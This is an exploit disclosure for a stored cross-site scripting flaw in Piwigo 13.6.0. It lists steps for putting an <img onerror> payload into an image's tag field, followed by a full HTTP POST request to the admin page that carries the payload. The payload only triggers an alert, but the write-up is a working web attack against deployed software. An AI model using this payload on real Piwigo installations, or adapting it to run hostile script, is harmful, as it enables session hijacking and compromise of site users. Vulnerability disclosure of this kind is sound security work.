Piwigo 13.6.0 Cross Site Scripting

`Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)  
Application: Piwigo  
Version: 13.6.0   
Bugs: Stored XSS  
Technology: PHP  
Vendor URL: https://piwigo.org/  
Software Link: https://piwigo.org/get-piwigo  
Date of found: 18.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
  
1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)  
payload: <img%20src=x%20onerror=alert(4)>  
  
  
POST /piwigo/admin.php?page=photo-9 HTTP/1.1  
Host: localhost  
Content-Length: 159  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/piwigo/admin.php?page=photo-9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380fe  
Connection: close  
  
name=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings  
  
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